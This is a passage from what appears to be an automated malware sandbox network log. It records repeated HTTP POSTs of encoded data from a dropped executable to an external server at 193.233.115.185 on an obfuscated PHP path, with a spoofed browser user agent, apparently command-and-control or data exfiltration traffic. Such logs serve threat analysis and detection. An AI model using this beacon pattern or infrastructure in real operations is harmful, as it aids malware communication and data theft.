                                                            Jul 10, 2024 09:06:49.323399067 CEST1236OUTData Raw: 3d 38 0c 3c 27 28 0f 13 39 2e 27 23 36 2f 33 2d 30 07 0f 05 3b 5d 20 1b 32 04 22 16 03 06 17 23 39 0f 3a 0b 30 2f 5d 16 33 55 5a 18 08 5f 38 21 01 2e 3f 0f 05 38 03 42 30 34 1b 23 0c 3e 51 25 3f 30 0b 09 37 5b 2c 58 3f 3e 39 23 26 29 1c 20 33 42
                                                            Data Ascii: =8<'(9.'#6/3-0;] 2"#9:0/]3UZ_8!.?8B04#>Q%?07[,X?>9#&) 3B+:(Y<:+GS981$8 (&W 64#2[ &%7021,)0]T3$_18(;[Y:03,-!)*'>3$$;&!?'1_S8X4:V"7W 3) '<*1%.V1:3<?>+2
                                                            Jul 10, 2024 09:06:49.588535070 CEST25INHTTP/1.1 100 Continue
                                                            Jul 10, 2024 09:06:49.673410892 CEST185INHTTP/1.0 500 Internal Server Error
                                                            Date: Wed, 10 Jul 2024 07:06:49 GMT
                                                            Server: Apache/2.4.41 (Ubuntu)
                                                            Content-Length: 0
                                                            Connection: close
                                                            Content-Type: text/html; charset=UTF-8


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            42192.168.2.449784193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:06:49.807200909 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 2548
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive
                                                            Jul 10, 2024 09:06:50.161504984 CEST2548OUTData Raw: 56 5c 51 56 5a 59 55 5b 59 59 51 58 52 5c 56 53 57 54 5d 5f 5a 5a 55 5d 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: V\QVZYU[YYQXR\VSWT]_ZZU]_R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S$X/?5"%41#)>#R#$.3<W>8+418>>$?],5#F".[ 4
                                                            Jul 10, 2024 09:06:50.481703043 CEST25INHTTP/1.1 100 Continue
                                                            Jul 10, 2024 09:06:50.485326052 CEST185INHTTP/1.0 500 Internal Server Error
                                                            Date: Wed, 10 Jul 2024 07:06:50 GMT
                                                            Server: Apache/2.4.41 (Ubuntu)
                                                            Content-Length: 0
                                                            Connection: close
                                                            Content-Type: text/html; charset=UTF-8


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            43192.168.2.449785193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:06:50.604878902 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 2548
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive
                                                            Jul 10, 2024 09:06:50.964061022 CEST2548OUTData Raw: 53 57 54 50 5f 5f 55 58 59 59 51 58 52 5d 56 54 57 56 5d 5e 5a 50 55 5a 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: SWTP__UXYYQXR]VTWV]^ZPUZ_R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S$Z.,2W!_= "$(-'U#B:'+>]37.#&+=?(;5#F".[ 0
                                                            Jul 10, 2024 09:06:51.291336060 CEST210INHTTP/1.1 100 Continue
                                                            Data Raw: 48 54 54 50 2f 31 2e 30 20 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 0d 0a 44 61 74 65 3a 20 57 65 64 2c 20 31 30 20 4a 75 6c 20 32 30 32 34 20 30 37 3a 30 36 3a 35 31 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 30 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 0d 0a
                                                            Data Ascii: HTTP/1.0 500 Internal Server ErrorDate: Wed, 10 Jul 2024 07:06:51 GMTServer: Apache/2.4.41 (Ubuntu)Content-Length: 0Connection: closeContent-Type: text/html; charset=UTF-8


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            44192.168.2.449786193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:06:51.427133083 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 2548
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive
                                                            Jul 10, 2024 09:06:51.776667118 CEST2548OUTData Raw: 53 55 54 53 5f 5d 50 59 59 59 51 58 52 51 56 54 57 52 5d 5b 5a 5e 55 5f 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: SUTS_]PYYYQXRQVTWR][Z^U__R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S'8<59%]4?>$#$[3+=(/4>7$+!<<8#F".[


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            45192.168.2.449787193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:06:51.798810005 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 1884
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive
                                                            Jul 10, 2024 09:06:52.157207966 CEST1884OUTData Raw: 56 56 54 51 5a 5b 55 5a 59 59 51 58 52 5e 56 50 57 55 5d 52 5a 5b 55 59 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: VVTQZ[UZYYQXR^VPWU]RZ[UY_R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S$].,W6997",( 4' )]/[7. V&8%+73_,#F".[ <
                                                            Jul 10, 2024 09:06:52.482753992 CEST25INHTTP/1.1 100 Continue
                                                            Jul 10, 2024 09:06:52.491808891 CEST185INHTTP/1.0 500 Internal Server Error
                                                            Date: Wed, 10 Jul 2024 07:06:52 GMT
                                                            Server: Apache/2.4.41 (Ubuntu)
                                                            Content-Length: 0
                                                            Connection: close
                                                            Content-Type: text/html; charset=UTF-8


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            46192.168.2.449788193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:06:52.067750931 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 2544
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive
                                                            Jul 10, 2024 09:06:52.418261051 CEST2544OUTData Raw: 56 52 54 51 5f 5c 50 5a 59 59 51 58 52 58 56 51 57 52 5d 59 5a 5f 55 5d 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: VRTQ_\PZYYQXRXVQWR]YZ_U]_R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S'.,&W!6728?=/4"$8U>83Z#4%;<'[,5#F".[ ,
                                                            Jul 10, 2024 09:06:52.732688904 CEST25INHTTP/1.1 100 Continue
                                                            Jul 10, 2024 09:06:52.738867044 CEST185INHTTP/1.0 500 Internal Server Error
                                                            Date: Wed, 10 Jul 2024 07:06:52 GMT
                                                            Server: Apache/2.4.41 (Ubuntu)
                                                            Content-Length: 0
                                                            Connection: close
                                                            Content-Type: text/html; charset=UTF-8


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            47192.168.2.449789193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:06:52.871007919 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 2548
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive
                                                            Jul 10, 2024 09:06:53.229814053 CEST2548OUTData Raw: 56 55 51 56 5f 5e 55 5b 59 59 51 58 52 5b 56 56 57 57 5d 5b 5a 58 55 5d 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: VUQV_^U[YYQXR[VVWW][ZXU]_R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S$\;?*"9#2<=+779Y&<7*+3#[ R&<#Z/5#F".[ (
                                                            Jul 10, 2024 09:06:53.541400909 CEST25INHTTP/1.1 100 Continue
                                                            Jul 10, 2024 09:06:53.544459105 CEST185INHTTP/1.0 500 Internal Server Error
                                                            Date: Wed, 10 Jul 2024 07:06:53 GMT
                                                            Server: Apache/2.4.41 (Ubuntu)
                                                            Content-Length: 0
                                                            Connection: close
                                                            Content-Type: text/html; charset=UTF-8


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            48192.168.2.449790193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:06:53.669883966 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 2548
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive
                                                            Jul 10, 2024 09:06:54.026591063 CEST2548OUTData Raw: 56 5d 54 5d 5f 5b 55 5f 59 59 51 58 52 51 56 5b 57 56 5d 5f 5a 51 55 5c 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: V]T]_[U_YYQXRQV[WV]_ZQU\_R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S$Z/"67+Z?> B6$?+=;7\ [<S%8&(;.%#F".[
                                                            Jul 10, 2024 09:06:55.081532955 CEST25INHTTP/1.1 100 Continue
                                                            Jul 10, 2024 09:06:55.081582069 CEST185INHTTP/1.0 500 Internal Server Error
                                                            Date: Wed, 10 Jul 2024 07:06:54 GMT
                                                            Server: Apache/2.4.41 (Ubuntu)
                                                            Content-Length: 0
                                                            Connection: close
                                                            Content-Type: text/html; charset=UTF-8
                                                            Jul 10, 2024 09:06:55.081898928 CEST25INHTTP/1.1 100 Continue
                                                            Jul 10, 2024 09:06:55.082845926 CEST25INHTTP/1.1 100 Continue


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            49192.168.2.449791193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:06:55.305635929 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 2548
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive
                                                            Jul 10, 2024 09:06:55.651582956 CEST2548OUTData Raw: 56 50 54 5c 5a 5b 55 5d 59 59 51 58 52 5f 56 52 57 5c 5d 59 5a 5f 55 51 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: VPT\Z[U]YYQXR_VRW\]YZ_UQ_R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S$X;/.T696#2\?#$"0;>]+\">,T%;(3,%#F".[
                                                            Jul 10, 2024 09:06:55.987023115 CEST25INHTTP/1.1 100 Continue
                                                            Jul 10, 2024 09:06:55.999175072 CEST185INHTTP/1.0 500 Internal Server Error
                                                            Date: Wed, 10 Jul 2024 07:06:55 GMT
                                                            Server: Apache/2.4.41 (Ubuntu)
                                                            Content-Length: 0
                                                            Connection: close
                                                            Content-Type: text/html; charset=UTF-8


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            50192.168.2.449792193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:06:56.121105909 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 2548
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive
                                                            Jul 10, 2024 09:06:56.479826927 CEST2548OUTData Raw: 56 57 51 56 5f 5b 55 50 59 59 51 58 52 5d 56 56 57 51 5d 5e 5a 59 55 51 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: VWQV_[UPYYQXR]VVWQ]^ZYUQ_R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S',<1")=#T'+>#S7$"0?>;?Y">?1;F+$.%#F".[ 0
                                                            Jul 10, 2024 09:06:56.783751965 CEST25INHTTP/1.1 100 Continue
                                                            Jul 10, 2024 09:06:56.795247078 CEST185INHTTP/1.0 500 Internal Server Error
                                                            Date: Wed, 10 Jul 2024 07:06:56 GMT
                                                            Server: Apache/2.4.41 (Ubuntu)
                                                            Content-Length: 0
                                                            Connection: close
                                                            Content-Type: text/html; charset=UTF-8


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            51192.168.2.449793193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:06:56.917243004 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 2548
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive
                                                            Jul 10, 2024 09:06:57.276602030 CEST2548OUTData Raw: 56 5d 51 56 5f 59 55 5b 59 59 51 58 52 5e 56 51 57 52 5d 58 5a 5c 55 58 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: V]QV_YU[YYQXR^VQWR]XZ\UX_R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S$\/"7!(?X4 $)$, R* -,V1(&(7;/5#F".[ <


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            52192.168.2.449794193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:06:57.501743078 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 1856
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive
                                                            Jul 10, 2024 09:06:57.854916096 CEST1856OUTData Raw: 56 51 54 55 5f 52 55 51 59 59 51 58 52 50 56 50 57 56 5d 52 5a 59 55 50 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: VQTU_RUQYYQXRPVPWV]RZYUP_R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S$.?) )671'?/W &,()(/]#-,%(>G< ;%#F".[
                                                            Jul 10, 2024 09:06:58.164057016 CEST25INHTTP/1.1 100 Continue
                                                            Jul 10, 2024 09:06:58.169341087 CEST185INHTTP/1.0 500 Internal Server Error
                                                            Date: Wed, 10 Jul 2024 07:06:58 GMT
                                                            Server: Apache/2.4.41 (Ubuntu)
                                                            Content-Length: 0
                                                            Connection: close
                                                            Content-Type: text/html; charset=UTF-8


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            53192.168.2.449795193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:06:57.620122910 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 2548
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive
                                                            Jul 10, 2024 09:06:57.964217901 CEST2548OUTData Raw: 53 57 54 54 5f 5f 50 59 59 59 51 58 52 50 56 50 57 51 5d 5c 5a 5d 55 5d 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: SWTT__PYYYQXRPVPWQ]\Z]U]_R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S$Y,26_6#1')-8 *');#=V$+*F+7(.5#F".[
                                                            Jul 10, 2024 09:06:58.324126959 CEST25INHTTP/1.1 100 Continue
                                                            Jul 10, 2024 09:06:58.438620090 CEST185INHTTP/1.0 500 Internal Server Error
                                                            Date: Wed, 10 Jul 2024 07:06:58 GMT
                                                            Server: Apache/2.4.41 (Ubuntu)
                                                            Content-Length: 0
                                                            Connection: close
                                                            Content-Type: text/html; charset=UTF-8


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            54192.168.2.449796193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:06:58.562612057 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 2548
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive
                                                            Jul 10, 2024 09:06:58.917268038 CEST2548OUTData Raw: 53 51 54 50 5f 5a 55 59 59 59 51 58 52 5c 56 50 57 55 5d 58 5a 51 55 58 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: SQTP_ZUYYYQXR\VPWU]XZQUX_R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S$X;<"":9^7"?W 5';)+7.($+!(4#/#F".[ 4
                                                            Jul 10, 2024 09:06:59.224445105 CEST25INHTTP/1.1 100 Continue
                                                            Jul 10, 2024 09:06:59.225197077 CEST185INHTTP/1.0 500 Internal Server Error
                                                            Date: Wed, 10 Jul 2024 07:06:59 GMT
                                                            Server: Apache/2.4.41 (Ubuntu)
                                                            Content-Length: 0
                                                            Connection: close
                                                            Content-Type: text/html; charset=UTF-8


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            55192.168.2.449797193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:06:59.356019974 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 2548
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive
                                                            Jul 10, 2024 09:06:59.714332104 CEST2548OUTData Raw: 53 57 54 51 5a 58 55 5c 59 59 51 58 52 5d 56 57 57 50 5d 5d 5a 51 55 51 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: SWTQZXU\YYQXR]VWWP]]ZQUQ_R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S$\,/>5*=_7!;](>;T#B!0(U>#U2;:?7\;5#F".[ 0
                                                            Jul 10, 2024 09:07:00.018280029 CEST25INHTTP/1.1 100 Continue
                                                            Jul 10, 2024 09:07:00.022850990 CEST185INHTTP/1.0 500 Internal Server Error
                                                            Date: Wed, 10 Jul 2024 07:06:59 GMT
                                                            Server: Apache/2.4.41 (Ubuntu)
                                                            Content-Length: 0
                                                            Connection: close
                                                            Content-Type: text/html; charset=UTF-8


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            56192.168.2.449798193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:07:00.176085949 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
